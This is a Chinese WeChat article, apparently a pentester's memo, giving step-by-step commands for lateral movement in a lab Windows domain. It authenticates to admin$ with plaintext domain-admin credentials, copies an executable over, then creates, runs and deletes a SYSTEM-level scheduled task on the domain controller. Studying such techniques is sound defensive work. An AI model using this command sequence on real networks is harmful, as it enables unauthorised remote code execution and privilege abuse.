查看原文
其他

Windows渗透:利用schtasks远程执行命令

2017-02-09 曹伯广 计算机与网络安全

信息安全公益宣传,信息安全知识启蒙。

加微信群回复公众号:微信群;QQ群:16004488

加微信群或QQ群可免费索取:学习教程


最近工作中用到了SCHTASKS命令来远程执行命令,由于命令参数有点多,利用起来稍微有点复杂,把利用方法记录在这里,备忘。


远程执行命令的模拟环境是我用VMware Workstation Pro搭建的一个简单域环境,里面有一台装了Microsoft Windows Server 2008 R2 Enterprise系统的域控,一台装了Microsoft Windows 7的客户机。要实现的功能是通过在Windows 7客户机上利用SCHTASKS命令在域控上远程执行命令。


具体执行的命令是让域控运行从客户机上拷贝过去的cmd.exe


下面是远程执行命令的具体步骤:

1. 建立IPC连接

net use \\dom-08R2.test.com\admin$ "123456q!@#" /user:test.com\Administrator

2. 把要执行的文件通过copy命令复制到目标系统

copy c:\windows\system32\cmd.exe \\dom-08R2.test.com\admin$\temp\cmd111.exe

3. 确认文件是否复制成功

dir \\dom-08R2.test.com\admin$\temp\cmd111.exe

4. 删除建立的IPC连接

net use \\dom-08R2.test.com\admin$ /del

5. 用SCHTASKS命令在远程系统建立计划任务

以远程系统的system用户运行c:\windows\temp\cmd111.exe,计划任务的名字为test1

SCHTASKS /Create /S dom-08R2.test.com /U test.com\Administrator /P "123456q!@#" /SC ONCE /ST 11:00 /TN test1 /TR c:\windows\temp\cmd111.exe /RU system

6. 查看建立的计划任务是否正确

用到的命令是SCHTASKS /Query,但简体中文版Windows 7 中直接执行SCHTASKS /Query命令会报错:“错误:无法加载资源。”,原因是简体中文的 schtasks MUI 语言包有问题,导致 schtasks /query 不能输出。 解决办法是先输入chcp 437,将当前的命令提示符的代码页设置为美国英语。

chcp 437

SCHTASKS /Query /S dom-08R2.test.com /U test.com\Administrator /P "123456q!@#"

7. 运行建立的计划任务

SCHTASKS /Run /S dom-08R2.test.com /U test.com\Administrator /P "123456q!@#"  /I /TN "test1"

8. 去远程系统确认cmd111.exe是否已经运行(通过看进程)

9. 删除建立的计划任务

SCHTASKS /Delete /S dom-08R2.test.com /U test.com\Administrator /P "123456q!@#" /TN "test1" /F


▼ 点击阅读原文,查看更多精彩文章。

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存